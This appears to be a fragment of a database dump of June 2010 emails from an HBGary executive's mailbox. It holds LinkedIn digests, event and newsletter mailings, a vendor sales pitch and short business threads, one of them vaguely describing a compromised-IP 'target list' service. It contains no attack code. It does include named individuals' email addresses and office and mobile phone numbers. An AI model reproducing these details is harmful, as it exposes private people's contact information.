more\r\n\r\n\r\n\r\n\r\n\r\nLook No Further\r\nYou\'ve received the best possible rate - guaranteed.\r\n\r\n\r\n\r\n\r\n\r\nInternet Privacy, Authenticity and Opting Out\r\n\r\nPlease do not reply to this email. This email confirmation is an\r\nauto-generated message. Replies to automated messages are not monitored. Our\r\nInternet Customer Care team is available to assist you 24 hours per day, 7 days\r\nper week.&nbsp;Contact Internet Customer Care&nbsp;\r\n\r\nPromotional\r\nemail unsubscribe\r\n\r\nPeriodically, Marriott sends email about specials and other\r\ninformation that may be of interest to you. If you prefer not to receive these\r\npromotional emails, you may unsubscribe here.\r\n\r\nYou can unsubscribe by regular mail, too. Send requests to the\r\naddress below. Include your name, Marriott Rewards number (if applicable) and\r\nemail address. Allow 10 business days for processing.\r\n\r\nInternet Customer Care - Unsubscribe\r\n1818 North 90 Street\r\nOmaha, Nebraska 68114-1315 USA\r\n\r\nPlease note: If you unsubscribe from promotional email we\r\ncontinue to send important, time-sensitive transactional Marriott messages -\r\nlike confirmation email - when you make reservations, use Marriott Rewards\r\npoints, etc.\r\n\r\nMarriott does not share email addresses with third parties for\r\ntheir use.\r\n\r\nConfirmation\r\nAuthenticity\r\n\r\nWe\'re sending you this confirmation notice electronically for\r\nyour convenience. Marriott keeps an official record of all electronic\r\nreservations. We honor our official record only and will disregard any\r\nalterations to this confirmation that may have been made after we sent it to\r\nyou.\r\n\r\nIf you have received this email in error, please let us know.\r\n\r\nYour privacy is important to us. For details, please visit our Internet Privacy Statement.\r\n\r\n\r\n\r\n\r\n\r\nTerms of Use::Internet Privacy Statement\r\n\r\n&copy;1996-2010\r\nMarriott International, Inc. All rights reserved. Marriott proprietary\r\ninformation.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15150,'aaron_hbgary_com/15150.html'),(6947,'2010-06-02','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297005037.M789881P14101Q1802.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Staci Redmon, PMP, MBA and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJune 2, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           Financial Readiness Program (FRP) Administrator - Fort Detrick, IMMEDIATE OPENING\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Staci Redmon, PMP, MBA, President &amp; CEO, Strategy and Management Services, Inc. (SAMS)\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 65 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',16770,'aaron_hbgary_com/16770.html'),(6948,'2010-06-03','\"Richard Montoya\" <richard.montoya@it-harvest.com>','/aaron@hbgary.com/new/1297005038.M291219P14101Q1804.eml','\"Bob Slapnik\" <bob@hbgary.com>,aaron@hbgary.com','Re: IT-Harvest:  white paper on Advanced Persistent Threat','Hi Bob.&nbsp; Hope you have a nice holiday.&nbsp; How else can we help you bolster and\r\ndrive your sales/marketing/analyst relations/corporate strategy?&nbsp;Kindest Regards, Richard D. Montoya Director of New Business Development richard.montoya@it-harvest.com http://twitter.com/rdmontoya http://www.linkedin.com/pub/0/718/364 (O) 203-826-7056 (M) 203-313-3315   Pre-order Surviving Cyber War on Amazon! Richard Stiennon Biography   Richard Stiennon, security expert and analyst, is known for shaking up the industry and providing\r\n actionable guidance to vendors and end users. He recently re-launched the security blog ThreatChaos.com and is the founder of IT-Harvest, an independent analyst firm that researches the 1,200 IT security vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading UTM vendor. Prior to that he was VP Threat Research at Webroot Software where he followed and wrote about the rising tide of spyware.   &nbsp;  Before Webroot, Mr. Stiennon was VP Research at Gartner Inc. where he covered security topics including firewalls, intrusion detection, intrusion prevention, security consulting, and managed security services for the Security and Privacy group. He is a holder of Gartner\'s Thought Leadership award and was named \"One of the 50 most powerful people in Networking\" by NetworkWorld Magazine. In November 2009, he was named by SC Magazine as a security industry pioneer.   Stiennon\'s Blog:&nbsp;\r\n www.threatchaos.com  SC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/CRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq The NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt;    His ThreatChaos blog was re-launched in the fall of 2008 and garners 7,000+ page views a day. The author is followed by 18,100 people on Twitter and has a Twitter Grade of 99.96. The Twitter ID @cyberwar has 4,000 followers in the IT security field. The author also manages a LinkedIn Group of security leaders with 3,050 members and publishes the Data Protection\r\n Weekly email to 4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly emails to 34,000 people. From: Bob Slapnik &lt;bob@hbgary.com&gt;To: Richard Montoya &lt;richard.montoya@it-harvest.com&gt;; aaron@hbgary.comSent: Sat, April 10, 2010 12:35:29 PMSubject: RE: IT-Harvest:  white paper on Advanced Persistent Threat\r\n\r\n\r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRichard, \r\n\r\n &nbsp; \r\n\r\nWe discussed the possibility of HBGary needing to write some\r\nwhitepapers and maybe farming it out.&nbsp; Penny makes those decisions.&nbsp; I’ll ask\r\nher if she wants help with it. \r\n\r\n &nbsp; \r\n\r\n\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc. \r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419 \r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com \r\n\r\n\r\n\r\n &nbsp; \r\n\r\n\r\n\r\n\r\n\r\nFrom: Richard Montoya\r\n[mailto:richard.montoya@it-harvest.com] \r\nSent: Friday, April 09, 2010 7:41 PM\r\nTo: aaron@hbgary.com; bob@hbgary.com\r\nSubject: IT-Harvest: white paper on Advanced Persistent Threat \r\n\r\n\r\n\r\n\r\n\r\n &nbsp; \r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, hello&nbsp;Bob.&nbsp; How was your meeting with\r\nRichard at Palantir?&nbsp; He mentioned you expressed interest in a white paper\r\non Advanced Persistent Threat.....how can we help you? \r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\nKindest Regards, \r\n\r\nRichard D. Montoya \r\n\r\nDirector of New Business Development \r\nrichard.montoya@it-harvest.com\r\n\r\nhttp://twitter.com/rdmontoya \r\nhttp://www.linkedin.com/pub/0/718/364\r\n\r\n(O) 203-826-7056 \r\n(M) 203-313-3315  \r\n\r\n\r\n\r\n\r\n\r\nPre-order Surviving Cyber War on Amazon! \r\n\r\n\r\nRichard Stiennon Biography  \r\n\r\n\r\n\r\nRichard Stiennon, security expert and analyst, is known for\r\nshaking up the industry and providing actionable guidance to vendors and end\r\nusers. He recently re-launched the security blog ThreatChaos.com and is the\r\nfounder of IT-Harvest, an independent analyst firm that researches the 1,200 IT\r\nsecurity vendors. He was Chief Marketing Officer for Fortinet, Inc. the leading\r\nUTM vendor. Prior to that he was VP Threat Research at Webroot Software where\r\nhe followed and wrote about the rising tide of spyware.  \r\n\r\n&nbsp; \r\n\r\n\r\n\r\nBefore Webroot, Mr. Stiennon was VP Research at Gartner Inc.\r\nwhere he covered security topics including firewalls, intrusion detection,\r\nintrusion prevention, security consulting, and managed security services for\r\nthe Security and Privacy group. He is a holder of Gartner\'s Thought Leadership\r\naward and was named \"One of the 50 most powerful people in\r\nNetworking\" by NetworkWorld Magazine. In November 2009, he was named by SC\r\nMagazine as a security industry pioneer.  \r\n\r\n\r\n\r\n\r\n\r\n\r\nStiennon\'s Blog:&nbsp; www.threatchaos.com \r\n\r\n\r\n\r\n\r\n\r\nSC Magazine Industry Pioneers:&nbsp; http://www.scmagazineus.com/industry-pioneers/article/157220/\r\nCRN Security Superstar:&nbsp; http://tinyurl.com/yjk6dxq\r\n\r\nThe NetworkWorld Award &lt;http://www.networkworld.com/power/2003/122250most.html?page=8&gt; \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHis ThreatChaos blog was re-launched in the fall of 2008 and\r\ngarners 7,000+ page views a day. The author is followed by 18,100 people on Twitter\r\nand has a Twitter Grade of 99.96. The Twitter ID @cyberwar has 4,000 followers\r\nin the IT security field. The author also manages a LinkedIn Group of security\r\nleaders with 3,050 members and publishes the Data Protection Weekly email to\r\n4,400 subscribers. He is in partnership with MiTechNews.com which sends weekly\r\nemails to 34,000 people.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/09/10\r\n02:32:00 \r\n\r\n\r\n\r\n\r\n',14588,'aaron_hbgary_com/14588.html'),(6949,'2010-06-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005038.M30561P14101Q1803.eml','\"Barr Aaron\" <aaron@hbgary.com>','check this out','http://lab.hbgaryfederal.com\r\n\r\nUse the same login info as before.\r\n\r\nTed\r\n',11402,'aaron_hbgary_com/11402.html'),(6950,'2010-06-03','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297005038.M510179P14101Q1805.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 6/02/2010','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn Network Updates\r\n    May 26 - Jun 2\r\n  \r\n  \r\n    FEATURED UPDATES\r\n    See more updates &#187;\r\n  \r\n  \r\n    \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Gary Elliott, M.S., PMP, NSA 4011 has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Adam Fraser has an updated profile (Expertise)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Eric Hallam has an updated profile (Experience)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Lisa Jones\r\nis now connected to\r\n            Pat Talty\r\n,             Lourdes Ruskavich\r\n,             Gulu Gambhir\r\n,       and 2 other people.\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Gil Vega\r\n    is now connected to\r\n        Ryan Denmark\r\n              \r\n            \r\n            \r\n              \r\n\r\n  penny hoglund\r\nis now connected to\r\n            Len Heinrich\r\n,             Annie Wu, CPA-ABV\r\n             and \r\n            David Etue\r\n             \r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Shane Shook\r\n... Security Incident Response: Step #1 unplug from the network, Step #2 get a forensic image (including memory)... don\'t start by playing with the computer!      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      JD Kathuria\r\njust posted article about CTO\'s in government contracting at: http://lnkd.in/DABNgz      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nBlog Archive &#xbb; ExecutiveBiz&#x2019;s Annual Roundup: CTOs in Government...         \r\n          What\'s ahead on the technology front for government and industry? The answer depends on who you\'re talking to. So when ...\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Irving Lachow\r\nGreat trip to London so far.  Yesterday: cyber conf in Oxford.  Today: meetings with Cabinet and MOD, then nice dinner.      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Nolan Clifford has joined\r\n    Navy Information Dominance Corps Officers\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Irby Thompson has joined\r\n    Reverse Engineering and Malware Research\r\n              \r\n            \r\n            \r\n              \r\n\r\n  2 of your connections have joined the group cybernexus including\r\n      \r\n      Larry Strang\r\n      and\r\n      Sean Bodmer\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Adam Fraser\r\n                  \r\n                     will be attending \r\n                  \r\n                    Gfirst 2010\r\n                  \r\n                     on August 15, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Adam Fraser\r\n                  \r\n                     will be attending \r\n                  \r\n                    Black Hat USA 2010\r\n                  \r\n                     on July 24, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    JD Kathuria\r\n                  \r\n                     is now using the new LinkedIn for iPhone application.  \r\n                  \r\n                    Get it now &#187;\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n  \r\n  \r\n      \r\n      See more updates &#187;\r\n    \r\n  \r\n  \r\n    \r\n\r\n\r\n  \r\n    \r\n      \r\n      \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n    \r\n  \r\n\r\n\r\n',10608,'aaron_hbgary_com/10608.html'),(6951,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005038.M732237P14101Q1806.eml','\"Karen Burke\" <karenmaryburke@gmail.com>','Interview','Hi Karen,Not sure if you saw this so sending you the link.http://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5967,'aaron_hbgary_com/5967.html'),(6952,'2010-06-03','\"AFCEA NOVA Events\" <events@afceanova.org>','/aaron@hbgary.com/new/1297005038.M951500P14101Q1807.eml','aaron@hbgary.com','DISA, DLA, MHS & other DoD Agencies at the 2nd Annual Warfighter Support Agencies IT Day (formerly Combat Support IT Day) - July 15, Tysons','\r\n\r\nAFCEA NOVA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Home\r\n          About \r\n            AFCEA NOVA\r\n          Membership\r\n           Events\r\n          Contact \r\n            Us\r\n          AFCEA \r\n            Int\'l\r\n        \r\n      \r\n  \r\n   \r\n    &nbsp;\r\n  \r\n   \r\n    &nbsp;\r\n  \r\n\r\n\r\n   \r\n    \r\n     The \r\n        2nd Annual AFCEA NOVA Combat Support IT Day has a new name:\r\n        \r\n        Warfighter Support\r\n        AGENCIES IT DAY\r\n        Challenges &amp; Needs - Solutions &amp; Capabilities\r\n      July \r\n        15, 2010 - 8am-5pm\r\n        Sheraton Premiere, Tysons Corner\r\n        www.afceanova.org/agenciesitday\r\n      About \r\n        Agencies IT Day\r\n      AFCEA \r\n        NOVA leads the way in focusing industry&#8217;s attention on IT capabilities \r\n        that are important to the Department of Defense by presenting the 2nd \r\n        Annual &quot;Warfighter Support Agencies IT Day&quot; (formerly named \r\n        Combat Support IT Day). This event focuses on the Agencies and Commands \r\n        who Support the Warfighter in their operational &amp; business missions.\r\n      This one \r\n        day conference presents an outstanding opportunity to hear from the key \r\n        DOD organizations providing vital IT systems and capabilities to support \r\n        our Warfighting Services. The theme is &#8220;Warfighter IT Support &#8211; \r\n        Challenges &amp; Needs - Solutions &amp; Capabilities&#8221; and the speakers \r\n        will address their visions, requirements, challenges, strategies, and \r\n        potential procurements.\r\n      Program highlights \r\n        include planned briefings from:\r\n      \r\n         Military \r\n          Health System (MHS)\r\n        Defense \r\n          Logistics Agency (DLA)\r\n        Business \r\n          Transformation Agency (BTA)\r\n         \r\n          U.S. Strategic Command (USSTRATCOM)\r\n         \r\n          U.S. Special Operations Command (USSOCOM)\r\n        And a \r\n          very special &#8220;Afternoon with DISA&#8221; \r\n          \r\n             Featured \r\n              Speaker &#8211; Maj. Gen. Ronnie Hawkins, DISA \r\n              Vice Director\r\n             Dynamic \r\n              Presentation by Mr. Tony Montemarano, DISA Component \r\n              Acquisition Executive\r\n            A \r\n              Panel Discussion Featuring Four New DISA Directors \r\n              recently appointed and making their debut appearance at this event\r\n            Ms. \r\n              Paige Atkins &#8211; Director of the Strategic Planning \r\n              and Information Directorate\r\n            Mr. \r\n              Henry Sienkiewicz &#8211; CIO\r\n            Mr. \r\n              Bruce Bennett &#8211; PEO-C2C\r\n            Mr. \r\n              Martin Gross &#8211; PEO-GES\r\n          \r\n        \r\n        ...And \r\n          others to be announced shortly!\r\n      \r\n      Why \r\n        Should You Attend?\r\n      \r\n        If you \r\n          are serving our nation in uniform or through civil service, this provides \r\n          a unique opportunity for professional development - with access to senior \r\n          leaders in Government and Industry.\r\n        If you \r\n          are in industry, or other organization supporting our military Agencies \r\n          &amp; Services, then this is one of the best events in the region to \r\n          help you identify opportunities to grow your business in this market \r\n          space.\r\n         Together \r\n          the agencies represented spend billions on a wide variety of IT services \r\n          and products!!!\r\n      \r\n      Mark \r\n        your calendars for July 15th and register now online:\r\n      Register \r\n        to Sponsor Agencies IT Day\r\n      Register \r\n        to Attend Agencies IT Day\r\n      For \r\n        more Information, please Contact:\r\n        AFCEA NOVA Staff @ CAPLEAD, events@afceanova.org, tel: 703-549-6911\r\n      Plus, \r\n        Don\'t Miss: \r\n      \r\n         Agency \r\n          display booths throughout the lobby\r\n        Small \r\n          Business Plenary Sessions &amp; Small-group Meetings \r\n          - runs in the morning and afternoon, parallel to the full conference\r\n          \r\n      \r\n      \r\n    &nbsp;\r\n    \r\n    \r\n      \r\n        \r\n          \r\n            \r\n              Agencies \r\n                IT Day Links\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              About \r\n                      Agencies IT Day\r\n                      Speakers \r\n                      &amp; Program\r\n                      Sponsors\r\n                      Venue \r\n                      &amp; Directions\r\n                      Registration \r\n                      \r\n                    \r\n            \r\n          \r\n        \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Early Sponsors\r\n              \r\n            \r\n          \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                \r\n                \r\n                \r\n              \r\n            \r\n          \r\n      \r\n      \r\n      \r\n        \r\n          \r\n            \r\n              Follow AFCEA NOVA on\r\n            \r\n          \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                \r\n                \r\n            \r\n          \r\n        \r\n        \r\n      \r\n      \r\n      \r\n       \r\n    \r\n    \r\n    \r\n  \r\n   \r\n    \r\n  \r\n\r\n\r\n   \r\n    \r\n  \r\n   \r\n    Armed \r\n      Forces Communications &amp; Electronics Association, Northern Virginia Chapter\r\n      U.S. Mail: AFCEA NOVA, 428 Hume Ave., 2nd floor, Alexandria, VA 22301\r\n      email: events@afceanova.org | voice: 703-549-6911 | fax: 703-995-4890\r\n  \r\n\r\n \r\n  Management and Events Planning by : CAPLEAD \r\n  | info@caplead.com\r\n   \r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n\r\n',11477,'aaron_hbgary_com/11477.html'),(6953,'2010-06-03','\"Karen Burke\" <karenmaryburke@gmail.com>','/aaron@hbgary.com/new/1297005039.M301846P14101Q1808.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Interview','Hi Aaron, I did! It is a great piece -- I thought about putting it on our Twitter feed. Is that okay with you? Best, Karen \r\nOn Thu, Jun 3, 2010 at 5:58 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Karen, \r\n\r\nNot sure if you saw this so sending you the link.\r\n\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',1054,'aaron_hbgary_com/1054.html'),(6954,'2010-06-03','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005039.M557133P14101Q1809.eml','\"Aaron Barr\" <aaron@hbgary.com>','DuPont','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOn a call with them &#8211; you okay if I mention your\r\nupcoming offering?\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1525,'aaron_hbgary_com/1525.html'),(6955,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005039.M807678P14101Q1810.eml','\"Karen Burke\" <karenmaryburke@gmail.com>','Re: Interview','sure.On Jun 3, 2010, at 8:00 AM, Karen Burke wrote:Hi Aaron, I did! It&nbsp;is a great piece -- I thought about putting it on our Twitter feed. Is that okay with you? Best, Karen&nbsp;\r\nOn Thu, Jun 3, 2010 at 5:58 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Karen, \r\n\r\nNot sure if you saw this so sending you the link.\r\n\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11181,'aaron_hbgary_com/11181.html'),(6956,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005040.M170314P14101Q1811.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: DuPont','absolutely.On Jun 3, 2010, at 8:20 AM, Etue, David wrote:On a call with them – you okay if I mention your upcoming offering?&nbsp;David&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13677,'aaron_hbgary_com/13677.html'),(6957,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005040.M430074P14101Q1812.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: DuPont','So I was talking through this. &nbsp;The process would go like this.We get a customer or an interested customer and we immediately pull the EndGames data for the companies netblock. &nbsp;We have been testing this out and its going very well. &nbsp;We get a list of active and historical IPs that have been compromised. &nbsp;We do some additional research on the compromised IPs and develop an initial target list. &nbsp;We load that information into the fidelis appliance and the active defense appliance. &nbsp;So when we get to an engagement we hit the ground running with a list of targets as well as doing general discovery.We of course also use the power of the three capabilities to deliver the best possible results to the customer during the engagement. &nbsp;We also will be structuring the leave behind capability that can be managed by local staff or remotely when needed by our staff.AaronOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:On a call with them – you okay if I mention your upcoming offering?&nbsp;David&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3457,'aaron_hbgary_com/3457.html'),(6958,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005040.M672518P14101Q1813.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: DuPont','We have the various VMs now downloaded and are installing. &nbsp;Should we have a conversation and potential demo of these capabilities for the folks out here in the Springs that will be configuring?AaronOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:On a call with them – you okay if I mention your upcoming offering?&nbsp;David&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13585,'aaron_hbgary_com/13585.html'),(6959,'2010-06-03','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005041.M297045P14101Q1815.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DuPont','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCool &#8211; talking with Eric Meyers about their &#8220;APT\r\nprogram&#8221;.&nbsp; Name makes me cringe, but they are serious about doing\r\nstuff.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThe irony of this is that I spend a bunch of time when I was at\r\nGE doing best practice sharing with DuPont on nation state threats in the late\r\n90s&#8230; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, June 03, 2010 10:35 AM\r\nTo: Etue, David\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nabsolutely.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\na call with them &#8211; you okay if I mention your upcoming offering?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',938,'aaron_hbgary_com/938.html'),(6960,'2010-06-03','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297005041.M713884P14101Q1816.eml','aaron@hbgary.com','Obama\'s National Security Strategy','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon Executive&nbsp;\r\n |\r\n  GovConExec\r\n MagazineBy Jim\r\n GarrettsonJune 3,\r\n 2010Obama\'s National Security Strategy\r\n The White House recently released the Obama Administration\'s\r\n comprehensive National Security Strategy online. &nbsp;As a sweeping articulation\r\n of the administration\'s goals in domestic and international policy, the strategy\r\n is short on specifics but nonetheless offers insight into the current\r\n administration\'s operational philosophy in advancing America\'s interests.\r\n &nbsp;The strategy breaks down into three areas:\r\n Click Here to Read\r\n MoreCybersecurity: A Year in\r\n ReviewThis past Saturday, May 29 marked the one year anniversary of the\r\n President Barack Obama\'s speech on cybersecurity where he said \"America\'s economic\r\n prosperity in the 21st century will depend on cybersecurity.\" Since that speech,\r\n the United States has moved systematically towards enhancing cybersecurity through\r\n the following initiatives:\r\n Click Here to Read\r\n MoreInsourcing: Who is Watching the\r\n Watchers?With federal deficits rapidly spiraling out of control, it\'s no\r\n surprise that policy makers in Washington are floating a range of ideas to rein in\r\n budgets and bring more accountability. Click Here to Read\r\n MoreNGC\'s\r\n Robert Brammer, Panel Call for More Cybersecurity Research\r\n Northrop Grumman\'s (NYSE: NOC) Robert Brammer, Information Systems\r\n Sector vice president and chief technology officer, led a panel calling for\r\n increased collaboration in cybersecurity research addressing a critical and\r\n immediate national need at the Annual Armed Forces Communications and Electronics\r\n Association (AFCEA) STRATCOM Cyberspace Symposium, according to the\r\n firm. Click Here to\r\n Read\r\n MoreCloudy\r\n Dreams May Soon Be RealizedFederal CIO Vivek Kundra is widely seen as a champion of cloud\r\n computing for the federal government. In the near future, he may get his wish, as\r\n Google Apps looks set to receive FISMA\r\n certification.&nbsp;Click Here to Read\r\n MoreSHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceCEO Summer Reading List\r\n &nbsp;Top Row (L-R): Peter Altabef, Brad Antle, Norm Augustine, Greg\r\n BaroniBottom Row (L-R): Mac Curtis, John Hillen, Bill Mixon, Stan\r\n SloaneJust\r\nin time for summer &#8212; it\'s in: ExecutiveBiz\'s annual, CEO Summer Reading\r\nList. This year, we\'re jump-starting our list of book recommendations\r\nfrom some of the area\'s top CEOs with a question: Why read books,\r\nanyway? Especially when you can get practically everything in quick\r\nhits, on the web, your BlackBerry, and iPhone. We brought that question\r\nrecently to John Hillen, president and CEO of Global Defense Technology\r\nand Systems, Inc. Check out his take below. Then settle back and enjoy\r\nthis year\'s list of book picks by some of the area\'s top\r\n CEOs. Click Here to Read More\r\n &nbsp;John Hillen Talks Bright Future, Good Opportunities for Government\r\n Contractors at Voices of GovCon Luncheon\r\n Deloitte\'s Scott Silverstein on Challenges and Goals\r\n Scott\r\n Miller: There\'s a Lot of Interest to be Engaged in Cybersecurity\r\n John\r\n Koenig: \'The real issue is the definition of\r\n cyber\'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Save the DateWhat: The\r\nFairfax County Chamber of Commerce will welcome Bruce Allen, Executive\r\nVice President/General Manager of the Washington Redskins, as the\r\nkeynote speaker at the organization\'s Annual Chairman\'s Luncheon. In\r\naddition to Allen, the day\'s program will include the recognition of\r\ncommunity and business leaders and area organizations for their service\r\nto the Chamber and 